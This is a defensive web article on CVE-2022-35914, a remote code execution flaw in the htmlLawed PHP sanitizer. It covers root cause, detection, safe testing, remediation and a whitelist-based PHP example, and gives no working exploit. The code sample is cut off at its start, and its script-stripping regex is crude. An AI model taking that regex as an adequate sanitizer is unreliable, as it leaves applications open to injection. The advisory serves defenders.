htmlLawed 1.2.5 - Remote Code Execution (RCE)

htmlLawed 1.2.5 — Remote Code Execution (CVE-2022-35914): Analysis, Detection, and Mitigation

This article explains the Remote Code Execution (RCE) vulnerability tracked as CVE-2022-35914 that affected htmlLawed (htmLawed) up to version 1.2.5. It covers technical root causes at a high level, risk implications, safe detection strategies, recommended mitigations and secure coding practices to prevent similar issues. The aim is to help defenders, maintainers, and authorized security testers understand the vulnerability and remediate it without providing actionable exploit instructions.

Summary

htmlLawed is a popular PHP library used to sanitize and filter HTML input. Versions up to and including 1.2.5 contained logic that allowed user-controlled input to influence which internal callbacks or handlers were invoked, enabling an attacker to execute arbitrary PHP functions or system-level commands when certain options were present. This resulted in a remote code execution vulnerability (CVE-2022-35914) when htmlLawed was used in applications that accepted attacker-controlled parameters without appropriate validation.

Root cause (high-level)

• htmlLawed exposed a mechanism for invoking internal processing hooks. The vulnerability arises when the library accepts a hook name or handler identifier from external input and uses that value to invoke functions or pass inputs to internal callbacks without proper validation or whitelisting.
• When user-controlled data can select a handler that ultimately invokes system-level behaviour (for example file operations, shell execution, or PHP functions that execute commands), an attacker can abuse that to run arbitrary code.
• The core design issue is dynamic invocation of functionality based on untrusted input rather than a bug in a specific function; fixes therefore require removing or strictly constraining dynamic invocation paths or enforcing a safe whitelist.

Affected versions and risk

Affected component	Version	Risk
htmlLawed (htmLawed)	<= 1.2.5	Remote Code Execution when used by applications that expose the vulnerable parameters to attackers

Impact and attack surface (what makes exploitation possible)

• If an application exposes htmlLawed parameters (for example via query string, POST data, or API) that influence which internal callbacks are invoked, attackers may be able to cause the library to call unsafe PHP functions.
• Applications that accept arbitrary HTML or content and forward it to htmlLawed without restricting configuration options are at higher risk.
• Exploitation requires the library to be reachable by attacker-controlled input; the vulnerability is not a self-contained remote exploit unless the app exposes the vulnerable API. That said, many integrations forward user content to htmlLawed, increasing practical risk.

Safe detection and hunting guidance

When investigating whether a system is vulnerable or has been targeted, focus on non-destructive detection techniques and indicators of compromise (IoCs) rather than reproducing exploit payloads.

• Identify usage: Search code and configuration for usages of htmlLawed/htmLawed and check included library version numbers or commits.
• Parameter exposure: Audit your web application for endpoints that accept htmlLawed options or pass user-supplied parameters to the library. Look for variable names in source such as any documented configuration keys and ensure they are never directly populated from user input.
• Log review: Look for unusual web requests that contain potentially suspicious parameter names or long payloads submitted to endpoints that sanitize HTML. Check web server logs and application logs around those endpoints for anomalies.
• Runtime indicators: On systems suspected of compromise, inspect process tables and recent command history for unexpected commands, and check webserver user-owned files for newly created web shells or artifacts.
• Intrusion detection: Create IDS/IPS rules that alert on suspicious requests to the endpoints that use htmlLawed when those requests contain unexpected handler/configuration parameters. Ensure alerts focus on suspicious patterns, not benign site traffic.

Safe testing guidance (authorized & isolated)

Only test for vulnerabilities in environments you own or have explicit authorization to test. Use isolated virtual machines or containers without network access to production systems. Avoid sending commands that execute on the host. Instead, verify presence/absence of the vulnerability by:

• Checking the library version or file contents in the deployed application build.
• Inspecting the code paths where htmlLawed is invoked to see whether external input is passed to configuration options that influence processing callbacks.
• Unit-testing the invocation in a controlled environment using harmless inputs that demonstrate whether dynamic handler selection is possible (for example, a test-only handler that returns an innocuous marker string).

Remediation and mitigation

• Immediate: If you cannot patch immediately, mitigate exposure by ensuring the application never forwards untrusted input to htmlLawed configuration keys that select handlers or callbacks. Implement server-side validation to drop or ignore such parameters.
• Patching: Upgrade htmlLawed to the latest vendor/repository release where the issue is fixed. If a vendor patch is not available, remove or harden any features that allow user-controlled selection of callbacks.
• Least privilege: Run web processes with minimal privileges and ensure the file system and execution environment prevent a successful command execution from having system-wide impact.
• Input validation/whitelist: Enforce strict whitelists for any configuration value that influences execution flow. Reject unknown values and do not use user input directly in function invocation APIs.
• Runtime controls: Use application WAF rules to block suspicious requests, and leverage PHP configuration to disable dangerous functions where feasible (suhosin-like restrictions, disable_functions for system/* functions in php.ini, understanding that disabling may break legitimate functionality).

Secure coding recommendations

Below are defensive coding patterns to remove or mitigate dynamic invocation risks. The following PHP snippet demonstrates a whitelist-based approach — it does not call or demonstrate dangerous functions. Instead it shows how to safely map allowed hook names to known, safe handlers in code you control.

 function($text) {
        // perform safe normalization operations
        return trim($text);
    },
    'strip_unwanted' => function($text) {
        // example safe filter chain
        return preg_replace('/<script.*?/is', '', $text);
    },
    // add only explicitly approved handlers here
];

$user_hook = $_POST['hook'] ?? ''; // example source — ensure this is not trusted
$input_text = $_POST['text'] ?? '';

if (!isset($allowed_hooks[$user_hook])) {
    // handle invalid selector: reject, log, or use a default safe handler
    error_log("Blocked unknown hook selector: " . substr($user_hook, 0, 200));
    $output = $allowed_hooks['strip_unwanted']($input_text);
} else {
    // call the mapped, server-controlled handler
    $output = $allowed_hooks[$user_hook]($input_text);
}

// send the sanitized output back to the application
echo $output;
?>

Explanation: This code avoids using user-supplied strings as direct function names and instead maps allowed keys to closure handlers defined by developers. Any incoming selector is validated against the server-controlled whitelist. Unknown selectors are rejected or mapped to a safe default. This pattern prevents an attacker from invoking arbitrary functions.

Hardening recommendations for deployments

• Upgrade to the vendor-patched htmlLawed release as soon as it is available.
• Audit all third-party libraries and their usage patterns in your codebase; ensure libraries processing untrusted input are invoked with static, server-side configuration.
• Restrict PHP's dangerous functions where not required (php.ini disable_functions), and ensure the webserver/PHP process runs with least privileges.
• Establish monitoring for unusual outgoing network activity and file changes originating from webserver processes.
• Keep backups and a tested incident response plan in case of suspected compromise.

Timeline and resources

Item	Reference
CVE identifier	CVE-2022-35914
Vendor / project	htmlLawed (htmLawed) — project page and source repository
Responsible testing	Only test in isolated, authorized environments; consult vendor security advisory

Final notes for defenders and integrators

This vulnerability is a reminder that libraries which accept configuration from untrusted sources, or that expose “hook”/“callback” mechanisms, must treat selector values as dangerous unless explicitly validated. The safest approach is to avoid exposing such mechanisms to end users entirely and to centralize decision logic within server-side code.

If your application used htmlLawed in a place where external inputs could influence its configuration, prioritize patching and code audit. If you suspect a compromise, isolate affected hosts, preserve logs, and follow your incident response procedures.